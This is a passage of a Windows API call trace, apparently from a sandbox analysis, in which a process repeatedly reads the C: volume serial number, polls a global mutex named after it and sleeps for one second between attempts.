0x870000 [0058.678] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0058.678] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0058.678] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0058.679] CloseHandle (hObject=0x170) returned 1 [0058.679] GetProcessHeap () returned 0x870000 [0058.679] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0058.679] GetProcessHeap () returned 0x870000 [0058.679] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0058.679] Sleep (dwMilliseconds=0x3e8) [0059.700] GetProcessHeap () returned 0x870000 [0059.700] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6bd0 [0059.700] GetProcessHeap () returned 0x870000 [0059.700] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6d38 [0059.700] GetProcessHeap () returned 0x870000 [0059.700] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6cc0 [0059.700] GetProcessHeap () returned 0x870000 [0059.700] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa838 [0059.700] GetProcessHeap () returned 0x870000 [0059.701] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa838 | out: hHeap=0x870000) returned 1 [0059.701] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6d38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0059.701] GetProcessHeap () returned 0x870000 [0059.701] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0059.701] GetProcessHeap () returned 0x870000 [0059.701] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6bd0 | out: hHeap=0x870000) returned 1 [0059.701] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0059.702] GetProcessHeap () returned 0x870000 [0059.702] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0059.702] GetProcessHeap () returned 0x870000 [0059.702] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0059.702] GetProcessHeap () returned 0x870000 [0059.702] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0059.702] GetProcessHeap () returned 0x870000 [0059.702] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0059.703] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0059.703] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0059.703] CloseHandle (hObject=0x170) returned 1 [0059.703] GetProcessHeap () returned 0x870000 [0059.703] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0059.703] GetProcessHeap () returned 0x870000 [0059.703] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0059.704] Sleep (dwMilliseconds=0x3e8) [0061.565] GetProcessHeap () returned 0x870000 [0061.566] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6d38 [0061.566] GetProcessHeap () returned 0x870000 [0061.566] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6bd0 [0061.566] GetProcessHeap () returned 0x870000 [0061.566] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6cc0 [0061.566] GetProcessHeap () returned 0x870000 [0061.566] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa838 [0061.566] GetProcessHeap () returned 0x870000 [0061.566] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa838 | out: hHeap=0x870000) returned 1 [0061.567] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6bd0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0061.567] GetProcessHeap () returned 0x870000 [0061.567] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0061.567] GetProcessHeap () returned 0x870000 [0061.567] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0061.567] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0061.568] GetProcessHeap () returned 0x870000 [0061.568] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6bd0 | out: hHeap=0x870000) returned 1 [0061.568] GetProcessHeap () returned 0x870000 [0061.568] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0061.568] GetProcessHeap () returned 0x870000 [0061.568] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0061.569] GetProcessHeap () returned 0x870000 [0061.569] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0061.569] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0061.569] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0061.569] CloseHandle (hObject=0x170) returned 1 [0061.570] GetProcessHeap () returned 0x870000 [0061.570] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0061.570] GetProcessHeap () returned 0x870000 [0061.570] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0061.570] Sleep (dwMilliseconds=0x3e8) [0063.976] GetProcessHeap () returned 0x870000 [0063.976] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6bd0 [0063.977] GetProcessHeap () returned 0x870000 [0063.977] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6d38 [0063.977] GetProcessHeap () returned 0x870000 [0063.977] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6cc0 [0063.977] GetProcessHeap () returned 0x870000 [0063.977] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa838 [0063.977] GetProcessHeap () returned 0x870000 [0063.977] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa838 | out: hHeap=0x870000) returned 1 [0063.977] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6d38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0063.977] GetProcessHeap () returned 0x870000 [0063.977] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0063.977] GetProcessHeap () returned 0x870000 [0063.978] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6bd0 | out: hHeap=0x870000) returned 1 [0063.978] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0063.978] GetProcessHeap () returned 0x870000 [0063.978] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0063.978] GetProcessHeap () returned 0x870000 [0063.978] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0063.979] GetProcessHeap () returned 0x870000 [0063.979] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0063.979] GetProcessHeap () returned 0x870000 [0063.979] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0063.979] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0063.979] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0063.979] CloseHandle (hObject=0x170) returned 1 [0063.980] GetProcessHeap () returned 0x870000 [0063.980] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0063.980] GetProcessHeap () returned 0x870000 [0063.980] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0063.980] Sleep (dwMilliseconds=0x3e8) [0065.665] GetProcessHeap () returned 0x870000 [0065.665] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6d38 [0065.665] GetProcessHeap () returned 0x870000 [0065.665] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6bd0 [0065.665] GetProcessHeap () returned 0x870000 [0065.665] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6cc0 [0065.665] GetProcessHeap () returned 0x870000 [0065.665] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa838 [0065.665] GetProcessHeap () returned 0x870000 [0065.665] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa838 | out: hHeap=0x870000) returned 1 [0065.666] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6bd0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0065.666] GetProcessHeap () returned 0x870000 [0065.666] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0065.666] GetProcessHeap () returned 0x870000 [0065.666] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0065.666] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0065.666] GetProcessHeap () returned 0x870000 [0065.666] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6bd0 | out: hHeap=0x870000) returned 1 [0065.666] GetProcessHeap () returned 0x870000 [0065.667] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0065.667] GetProcessHeap () returned 0x870000 [0065.667] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0065.667] GetProcessHeap () returned 0x870000 [0065.667] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0065.667] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0065.667] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0065.667] CloseHandle (hObject=0x170) returned 1 [0065.667] GetProcessHeap () returned 0x870000 [0065.668] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0065.668] GetProcessHeap () returned 0x870000 [0065.668] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0065.668] Sleep (dwMilliseconds=0x3e8) [0067.213] GetProcessHeap () returned 0x870000 [0067.214] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6bd0 [0067.214] GetProcessHeap () returned 0x870000 [0067.214] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6d38 [0067.214] GetProcessHeap () returned 0x870000 [0067.214] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6cc0 [0067.214] GetProcessHeap () returned 0x870000 [0067.214] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa838 [0067.214] GetProcessHeap () returned 0x870000 [0067.214] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa838 | out: hHeap=0x870000) returned 1 [0067.214] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6d38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0067.214] GetProcessHeap () returned 0x870000 [0067.214] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0067.214] GetProcessHeap () returned 0x870000 [0067.214] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6bd0 | out: hHeap=0x870000) returned 1 [0067.214] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0067.216] GetProcessHeap () returned 0x870000 [0067.216] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0067.216] GetProcessHeap () returned 0x870000 [0067.216] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0067.216] GetProcessHeap () returned 0x870000 [0067.216] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0067.216] GetProcessHeap () returned 0x870000 [0067.216] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0067.216] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0067.217] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0067.217] CloseHandle (hObject=0x170) returned 1 [0067.217] GetProcessHeap () returned 0x870000 [0067.217] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0067.217] GetProcessHeap () returned 0x870000 [0067.217] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0067.217] Sleep (dwMilliseconds=0x3e8) [0069.992] GetProcessHeap () returned 0x870000 [0069.993] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6d38 [0069.993] GetProcessHeap () returned 0x870000 [0069.993] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6bd0 [0069.993] GetProcessHeap () returned 0x870000 [0069.993] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6cc0 [0069.993] GetProcessHeap () returned 0x870000 [0069.993] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa838 [0069.993] GetProcessHeap () returned 0x870000 [0069.993] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa838 | out: hHeap=0x870000) returned 1 [0069.993] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6bd0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0069.994] GetProcessHeap () returned 0x870000 [0069.994] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0069.994] GetProcessHeap () returned 0x870000 [0069.994] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0069.994] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0069.995] GetProcessHeap () returned 0x870000 [0069.995] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6bd0 | out: hHeap=0x870000) returned 1 [0069.995] GetProcessHeap () returned 0x870000 [0069.995] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0069.995] GetProcessHeap () returned 0x870000 [0069.995] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0069.995] GetProcessHeap () returned 0x870000 [0069.995] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0069.995] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0069.996] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0069.996] CloseHandle (hObject=0x170) returned 1 [0069.996] GetProcessHeap () returned 0x870000 [0069.996] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0069.996] GetProcessHeap () returned 0x870000 [0069.996] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0069.996] Sleep (dwMilliseconds=0x3e8) [0071.407] GetProcessHeap () returned 0x870000 [0071.407] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6bd0 [0071.408] GetProcessHeap () returned 0x870000 [0071.408] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6d38 [0071.408] GetProcessHeap () returned 0x870000 [0071.408] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6cc0 [0071.408] GetProcessHeap () returned 0x870000 [0071.408] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa838 [0071.408] GetProcessHeap () returned 0x870000 [0071.408] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa838 | out: hHeap=0x870000) returned 1 [0071.408] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6d38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0071.408] GetProcessHeap () returned 0x870000 [0071.408] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0071.408] GetProcessHeap () returned 0x870000 [0071.408] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6bd0 | out: hHeap=0x870000) returned 1 [0071.409] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0071.409] GetProcessHeap () returned 0x870000 [0071.409] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0071.409] GetProcessHeap () returned 0x870000 [0071.409] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0071.409] GetProcessHeap () returned 0x870000 [0071.409] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0071.409] GetProcessHeap () returned 0x870000 [0071.410] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0071.410] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0071.410] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0071.410] CloseHandle (hObject=0x170) returned 1 [0071.410] GetProcessHeap () returned 0x870000 [0071.410] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0071.410] GetProcessHeap () returned 0x870000 [0071.410] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0071.411] Sleep (dwMilliseconds=0x3e8) [0072.883] GetProcessHeap () returned 0x870000 [0072.883] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6d38 [0072.883] GetProcessHeap () returned 0x870000 [0072.883] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6bd0 [0072.883] GetProcessHeap () returned 0x870000 [0072.883] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6cc0 [0072.883] GetProcessHeap () returned 0x870000 [0072.883] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa838 [0072.883] GetProcessHeap () returned 0x870000 [0072.883] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa838 | out: hHeap=0x870000) returned 1 [0072.884] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6bd0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0072.884] GetProcessHeap () returned 0x870000 [0072.884] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0072.884] GetProcessHeap () returned 0x870000 [0072.884] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0072.884] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0072.885] GetProcessHeap () returned 0x870000 [0072.885] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6bd0 | out: hHeap=0x870000) returned 1 [0072.885] GetProcessHeap () returned 0x870000 [0072.885] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0072.885] GetProcessHeap () returned 0x870000 [0072.885] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0072.885] GetProcessHeap () returned 0x870000 [0072.885] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0072.885] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0072.886] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0072.886] CloseHandle (hObject=0x170) returned 1 [0072.886] GetProcessHeap () returned 0x870000 [0072.886] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0072.886] GetProcessHeap () returned 0x870000 [0072.886] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0072.886] Sleep (dwMilliseconds=0x3e8) [0074.774] GetProcessHeap () returned 0x870000 [0074.774] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6bd0 [0074.775] GetProcessHeap () returned 0x870000 [0074.775] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6d38 [0074.775] GetProcessHeap () returned 0x870000 [0074.775] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6cc0 [0074.775] GetProcessHeap () returned 0x870000 [0074.775] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa838 [0074.775] GetProcessHeap () returned 0x870000 [0074.775] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa838 | out: hHeap=0x870000) returned 1 [0074.775] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x8a6d38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0074.775] GetProcessHeap () returned 0x870000 [0074.776] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6cc0 | out: hHeap=0x870000) returned 1 [0074.776] GetProcessHeap () returned 0x870000 [0074.776] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6bd0 | out: hHeap=0x870000) returned 1 [0074.776] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20dfb74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20dfb74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0074.776] GetProcessHeap () returned 0x870000 [0074.776] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8a6d38 | out: hHeap=0x870000) returned 1 [0074.776] GetProcessHeap () returned 0x870000 [0074.777] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8842e8 [0074.777] GetProcessHeap () returned 0x870000 [0074.777] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x3a) returned 0x884330 [0074.777] GetProcessHeap () returned 0x870000 [0074.777] RtlReAllocateHeap (Heap=0x870000, Flags=0x0, Ptr=0x884330, Size=0x72) returned 0x87fd80 [0074.777] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0074.777] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0074.777] CloseHandle (hObject=0x170) returned 1 [0074.777] GetProcessHeap () returned 0x870000 [0074.777] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8842e8 | out: hHeap=0x870000) returned 1 [0074.777] GetProcessHeap () returned 0x870000 [0074.778] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x87fd80 | out: hHeap=0x870000) returned 1 [0074.778] Sleep (dwMilliseconds=0x3e8) [0077.038] GetProcessHeap () returned 0x870000 [0077.038] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x8a6d10 [0077.038] GetProcessHeap () returned 0x870000 [0077.038] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x8a6d38 [0077.038] GetProcessHeap () returned 0x870000 [0077.038] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x8a6bd0 [0077.038] GetProcessHeap () returned 0x870000 [0077.038] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x8aa748 [0077.038] GetProcessHeap () returned 0x870000 [0077.038] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8aa748 | out: hHeap=0x870000) returned 1 [0077.039] ExpandEnvironmentStringsW (in: 